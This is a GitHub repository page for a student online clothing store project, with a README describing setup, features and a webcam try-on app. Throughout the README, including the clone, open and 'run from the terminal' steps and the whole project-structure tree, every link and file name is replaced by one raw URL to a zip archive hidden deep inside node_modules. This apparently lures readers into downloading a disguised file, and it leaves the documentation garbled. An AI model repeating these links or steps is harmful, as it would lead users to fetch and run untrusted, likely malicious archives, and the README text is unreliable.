Skip to content

ElecNinja/Project-DEPI

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

281 Commits
.vscode
.vscode
 
 
assets
assets
 
 
node_modules
node_modules
 
 
try-on-app
try-on-app
 
 
.hintrc
.hintrc
 
 
Categories.html
Categories.html
 
 
Category-men.html
Category-men.html
 
 
Category-women.html
Category-women.html
 
 
Checkout.html
Checkout.html
 
 
LICENSE
LICENSE
 
 
Login.html
Login.html
 
 
My Account.html
My Account.html
 
 
Project-DEPI.code-workspace
Project-DEPI.code-workspace
 
 
README.md
README.md
 
 
about.html
about.html
 
 
blog.html
blog.html
 
 
contact.html
contact.html
 
 
index.html
index.html
 
 
mens-blog.html
mens-blog.html
 
 
minify.js
minify.js
 
 
package-lock.json
package-lock.json
 
 
package.json
package.json
 
 
terms-conditions.html
terms-conditions.html
 
 
womens-blog.html
womens-blog.html
 
 

Repository files navigation

Online Clothing Store

This project is an online clothing store website built using HTML, CSS, and JavaScript. It provides a user-friendly interface for customers to browse and purchase clothing items.

Getting Started

  1. Clone the repository: git clone https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip
  2. Open the https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip file in a web browser to view the website.

Live Preview

Live preview on GitHub : https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip

Technologies Used

Current Functionality

  • Responsive, adapt to different screen sizes with Mobile Navigation Menu
  • Home page with featured products and image slider
  • Subscribe ovrelay window
  • Category pages for men's and women's clothing
  • Product detail pages
  • About page
  • Contact page
  • Blog page
  • Basic cart slider window functionality
  • From window you Cart increase product number and then sum the total price
  • Basic Favourite slider window functionality
  • All pages including their breadcrumb at the top
  • Go to the top button functionality
  • run https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip from the terminal to minify the CSS code
  • User account page (My Account)
  • Terms and conditions page

Experimental Try-on-clothes functionality

  • How It Works

  1. Camera Setup: The app requests access to the user's webcam using the MediaDevices API. The live video feed is displayed in the video element.

  2. Pose Detection: PoseNet (a pre-trained machine learning model) is loaded using https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip It estimates the user's body pose from the video feed in real-time.

  3. Overlay T-Shirt: Based on the detected pose, the t-shirt image is dynamically resized and positioned over the user's body using the Canvas API.

  4. Color and Opacity Customization: Users can modify the color of the t-shirt using a color picker and adjust its opacity using a range slider.

  5. Capture Snapshot: The canvas is merged with the video feed to create a snapshot image, which can be downloaded by the user.

Ionicons Library

  • Benefits:
  1. Wide Icon Selection: You can use hundreds of customizable icons in your web app without needing to create or load individual image files.
  2. Cross-Browser Compatibility: The combination of type="module" and nomodule ensures that both modern and older browsers can load the appropriate version of the icon library.
  3. Performance Optimization: Modern browsers use the ES module version (https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip), which is more efficient, while older browsers fall back to a more compatible version (https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip).

Project Structure

Online-Clothing-Store/ ├── assets/ │ ├── css/ │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ ├── images/ │ │ ├── icons/ │ │ │ ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ ├── products/ │ │ │ ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ │ ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ │ └── ... │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── js/ │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── Try-on-app │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip │ └── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── My https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── https://raw.githubusercontent.com/KeroAyman342/Project-DEPI/main/node_modules/csso/node_modules/css-tree/cjs/syntax/atrule/Project-DEPI_v3.7.zip ├── LICENSE

Team Members and Responsibilities

  • Mohamed: Home, about, contact, README, Try-On App
  • Yehia: Cart, CSS, view Blog
  • Kerolos: All products, All categories, all blog
  • Youssef: My account, login, register, view products
  • Karim: View blog, view product

Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

License

This project is open source and available under the MIT License.

About

No description, website, or topics provided.

Resources

Readme

License

MIT license
Activity

Stars

0 stars

Watchers

1 watching

Forks

3 forks
Report repository

Releases

No releases published

Packages

No packages published

Contributors 4

  •  
  •  
  •  
  •  

Languages